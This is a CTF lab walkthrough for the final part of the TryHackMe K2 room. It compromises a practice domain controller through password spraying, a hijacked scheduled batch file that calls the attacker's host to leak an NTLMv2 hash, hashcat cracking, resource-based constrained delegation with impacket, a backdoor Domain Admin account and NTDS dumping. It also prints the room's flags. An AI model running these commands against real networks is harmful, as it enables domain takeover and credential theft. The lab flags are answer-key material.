K2 The Summit Walkthrough
TL;DR walkthrough of The Summit portion of the K2 TryHackMe room. This is part 3 of 3 on the K2 room.
THM Walkthroughs:
A full list of our TryHackMe walkthroughs and cheatsheets is here.
Background
We left off Part 2, Middle Camp, with the usernames and hashes from the DC. We also have some plaintext passwords from both the Base Camp and Middle Camp portions of the K2 room. I simply kept adding to the following files as I went:
- K2Users.txt — usernames found
- PasswordsToTry.txt — plaintext passwords found
- RawHashes.txt — hashes dumped from NTDS.dit in Middle Camp
On an admin note, the IPs shown in the commands change during this walkthrough due to restarting the VM. All IPs shown are the target VM, with one caveat; I used Responder and elicited an authentication attempt from the target. Hence one IP shown is my Kali VM.
Enumeration
As always I started with an nmap scan.
sudo nmap -sC -sV -O 10.10.46.222
The VM is a DC for the k2.thm domain. I’m not sure why the room author used the same domain name twice, these are separate domains. Windows doesn’t like it if you fire up two separate domains with the same name on the same LAN, I found that out by accident in the home lab one time.
The first thing I did was throw the list of usernames at the DC to see which were valid.
/home/kali/Downloads/kerbrute_linux_amd64 userenum - dc 10.10.46.222 -d k2.thm K2Users.txt
I found that j.smith is a valid username in this room. Hence I tried password spraying. j.smith’s NTLM is fec9ab085c1d876f0187cdb621464aa3 in Middle Camp, let’s try it in The Summit.
crackmapexec smb 10.10.11.167 -u /home/kali/Downloads/THM/K2Users.txt -H /home/kali/Downloads/THM/RawHashes.txt
#Alt, use the plaintext passwords we have found so far
crackmapexec smb 10.10.11.167 -d k2.thm -u j.smith -p ./PasswordsToTry.txt
I got a hit, 9545b61858c043477c350ae86c37b32f is j.smith’s hash in The Summit. I blanked out here and copy/pasted j.smith’s NTLM from Middle Camp rather than copy/pasting it from the crackmapexec hit … and then wondered why authentication failed.
J.smith in Middle Camp’s hash is not the same as j.smith in The Summit. In The Summit, j.smith is using the same password as the Administrator account in Middle Camp: vz0q$i8b4c
I first poked around for share drives.
smbclient -L //10.10.11.167/ -U 'k2.thm/j.smith%9545b61858c043477c350ae86c37b32f' - pw-nt-hashI didn’t find anything so let’s try WinRM and RDP.
evil-winrm -i 10.10.228.45 -u j.smith -H 9545b61858c043477c350ae86c37b32fxfreerdp /v:10.10.11.167 /u:j.smith /p:'vz0q$i8b4c'j.smith has WinRM access to the DC, but not RDP. I poked around a bit doing basic AD enumeration in PowerShell and noticed that o.armstrong is the only other AD account in Summit besides Administrator and Guest.
I next enumerated with BloodHound. I showed how to setup BloodHound on both Windows and Kali here, in case any readers need help with that.
sudo bloodhound-python -d k2.thm -u j.smith -p 'vz0q$i8b4c' -ns 10.10.228.45 -c all
./neo4j-desktop-1.6.0-x86_64.AppImage
bloodhoundUpload the collected files into BloodHound, mark j.smith as owned, and enumerate.
o.armstrong, the only other account in this room’s AD and is a member of the group “IT Director”. That group in turn has abusable rights on the DC.
Great, we know who to target for lateral movement and escalation.
Lateral movement
There’s a C:\Scripts folder on the DC with only one file in it; backup.bat. We can read the file, but can’t modify it.
ls
icacls C:\Scripts
icacls C:\Scripts\backup.batHowever, I checked j.smith’s rights on the folder itself. They have Full Control, meaning they can create and delete files inside the folder.
I read the file.
cat C:\Scripts\backup.batAll it contains is a command to copy a file in o.armstrong’s folder.
copy C:\Users\o.armstrong\Desktop\notes.txt C:\Users\o.armstrong\Documents\backup_notes.txtThis leads to a strong suspicion though; likely a scheduled task is running backup.bat as o.armstrong. Therefore anything we put in the file will be ran as o.armstrong.
Hence I created a new backup.bat on Kali with one command added. The IP shown is my tun0 NIC on Kali.
copy C:\Users\o.armstrong\Desktop\notes.txt C:\Users\o.armstrong\Documents\backup_notes.txt
curl file://10.23.20.245/anything.htmlIt’s a bat file, so we have to stick with legacy cmd.exe commands like ‘curl’. If it was PowerShell I would have used ‘Invoke-WebRequest’ or ‘iwr’ in shorthand.
I ran Responder to capture any requests to Kali and tell the target that it needs to authenticate.
sudo responder -I tun0 -dwvI then deleted the original backup.bat and uploaded my replacement.
rm backup.bat
upload /home/kali/Downloads/THM/backup.batNow just wait a few minutes, and we capture a hash. Nice.
I copy/pasted the hash and run hashcat against it using rockyou.txt as the wordlist
hashcat -m 5600 'o.armstrong::K2:bbc5c500bb88c6ad:8769D570E44FBF69EA13444C8C02A4E0:010100000000000080DC001293FCDB01CB528C58DB26B6800000000002000800370032004800380001001E00570049004E002D005300350034003600360045003200470056003700450004003400570049004E002D00530035003400360036004500320047005600370045002E0037003200480038002E004C004F00430041004C000300140037003200480038002E004C004F00430041004C000500140037003200480038002E004C004F00430041004C000700080080DC001293FCDB0106000400020000000800300030000000000000000000000000210000C0EF2429301F553FEB818381E4E86453F8673C4E12D5DB6952B234688D4B10530A001000000000000000000000000000000000000900220063006900660073002F00310030002E00320033002E00320030002E003200340035000000000000000000' /usr/share/wordlists/rockyou.txt --forceI got a hit: arMStronG08
We now have o.armstrong’s credentials and we know that they are in the IT Director group. We also know that group has the GenericWrite right on the DC’s account in AD.
Escalation to Domain Admin
GenericWrite and WriteProperty with all 0s for the GUID both include the crucial account attribute in AD that allows this attack to happen if an attacker can modify it; ‘ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity’. This attribute has the GUID 3f78c3e5-f79a-46bd-a0b8–9d18116ddc79.
If one can modify it on a computer’s AD account then they can tell that computer that another computer is allowed to delegate to it. The target will trust that the other computer doing the delegating authenticated the user and accept whatever it is told.
Here’s the trick, that other computer doesn’t have to actually exist. It only requires that the attacker is able to
- Create a computer account in AD
- Modify the ‘ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity’ attribute on the target’s AD account
I wrote a more detailed description of this attack, the [mis]configuration that allows it, and how to abuse it as the attacker from a Windows domain client here. That howto also shows how to setup this rather arcane [mis]configuration in a range.
BloodHound helpfully lets us know how to abuse it from Kali. I first added the DC’s IP to etc/hosts on Kali for the following names.
sudo mousepad /etc/hosts
<IP> k2
<IP> k2.thm
<IP> K2ROOTDC
<IP> K2ROOTDC.k2.thmNow that Kali knows those names, the attack is actually pretty straightforward.
/usr/share/doc/python3-impacket/examples/addcomputer.py -method SAMR -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host 10.10.228.45 -domain-netbios K2 'K2.thm/o.armstrong:arMStronG08'
/usr/share/doc/python3-impacket/examples/rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'K2ROOTDC$' -action 'write' 'K2.thm/o.armstrong:arMStronG08'
/usr/share/doc/python3-impacket/examples/getST.py -spn 'cifs/K2ROOTDC.K2.THM' -impersonate 'Administrator' 'K2.thm/attackersystem$:Summer2018!'
#Use the ticket
export KRB5CCNAME=Administrator@cifs_K2ROOTDC.K2.THM@K2.THM.ccache
#Get a shell as Administrator
/usr/share/doc/python3-impacket/examples/wmiexec.py k2.thm/Administrator@K2ROOTDC.k2.thm -k -no-passWe have a legacy cmd shell, so we can add a Domain Admin with a known password using:
dsadd user "CN=Mishky,CN=Users,DC=k2,DC=thm" -samid Mishky -pwd Password00
net group "Domain Admins" Mishky /add /domain/usr/share/doc/python3-impacket/examples/secretsdump.py -just-dc Mishky:Password00@10.10.228.45
#Alt, just dump as Administrator with that ticket
/usr/share/doc/python3-impacket/examples/secretsdump.py -just-dc -k -no-pass 'K2.THM/Administrator@k2rootdc.k2.thm'
Post compromise enumeration
I grabbed the flags using Window’s version of ‘grep’.
evil-winrm -i 10.10.228.45 -u Administrator -H 15ecc755a43d2e7c8001215609d94b90Get-ChildItem C:\Users -Recurse | Select-String "THM{"
C:\Users\Administrator\Desktop\root.txt:1:THM{2000099729df1a4ec18bc0346d36b5ba}
C:\Users\o.armstrong\Desktop\user.txt:1:THM{400002b4b9fa7decb59019364388b8a3}
There’s also a more refined method of ‘grep’ in Windows:
Get-ChildItem -Path "C:\Users" -Filter *.txt -Recurse | Select-String -Pattern "THM" | Select-Object Path, LineNumber, Line
I also disabled Restricted Admin Mode so I could RDP into the DC as Administrator with their hash.
#disable RestrictedAdmin Mode, aka allow RDP via PTH
New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa' -name 'DisableRestrictedAdmin' -PropertyType 'DWORD' -value '0' -forcexfreerdp /v:10.10.243.26 /u:Administrator /pth:15ecc755a43d2e7c8001215609d94b90 /dynamic-resolutionI poked around and confirmed what I had suspected; there’s a scheduled task running as o.armstrong every 60 seconds. It runs C:\Scripts\backup.bat.
On a sidenote; there is no account lockout threshold, therefore while it would be slow we could have just ran crackmapexec and rockyou.txt against o.armstrong’s account. One can find that out by running enum4linux as j.smith.
enum4linux -u k2.thm\\j.smith -p vz0q\$i8b4c -a 10.10.243.26The Summit Q & A
What is the user flag?
THM{400002b4b9fa7decb59019364388b8a3}
What is the root flag?
THM{2000099729df1a4ec18bc0346d36b5ba}
Summary
In the end neither Middle Camp or The Summit were hard. The escalation paths in these two domains were essentially:
Middle Camp:
kerbrute & find usernames -> pwd spray -> enumerate NTFS -> generate a wordlist -> pwd spray -> enumerate AD groups -> abuse Backup Operators membership to dump NTDS.dit.
The Summit:
kerbrute & find usernames -> pwd spray -> enumerate NTFS -> abuse a scheduled task to execute code -> elecit NTLMv2 auth attempt -> crack password -> enumerate AD -> abuse RBCD rights on the DC -> dump NTDS.dit
The problem with both rooms is that all the data that we are supposed to enumerate is just on the C: drive, not in share folders. This is a rather lazy approach and doesn’t scale to larger, multi VM ranges. Large ranges don’t, or shouldn’t, allow non Domain Admins interactive login to DCs, so any data students are supposed to enumerate has to be on share drives … where it would be in a normal organization’s environment.
Additionally abusing a scheduled task while logged in locally to the DC isn’t really an AD escalation, it’s a local privilege escalation. This should NOT be a thing on a DC, even in a CTF.
The Summit would have been a LOT more realistic if backup.bat had been on a share drive. Ditto for Rose’s notes in Middle Camp. That is how I setup Mishky’s AD Range as I wanted to not only wrap up TTPs I had seen in CRTP, Slayer Labs, PJPT, various TryHackMe rooms, etc … I also wanted it to mimic real enterprise environments.
Otherwise K2 wasn’t a bad room. Allowing non admins interactive login on DCs is icky and should never be encountered in real environments, but TryHackMe limits free rooms to one VM, hence it’s a necessary duct tape fix for these rooms. I ran into this issue as well when I put a mere shadow of Mishky’s AD Range on TryHackMe. I had wanted to bring the full range to TryHackMe, but alas they wouldn’t let me. Hence it lives on GitHub.
Using scheduled tasks to delegate rights on protected users/groups is actually a rather ingenious approach to work around the AdminSDHolder, as the room author did in Middle Camp. I would hope that TTP is never seen in real environments, but for learning environments it’s clever.
References
ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute: https://learn.microsoft.com/en-us/windows/win32/adschema/a-msds-allowedtoactonbehalfofotheridentity
Abusing GenericWrite: https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution
Handy table matching hash types to hashcat modes: https://hashcat.net/wiki/doku.php?id=example_hashes
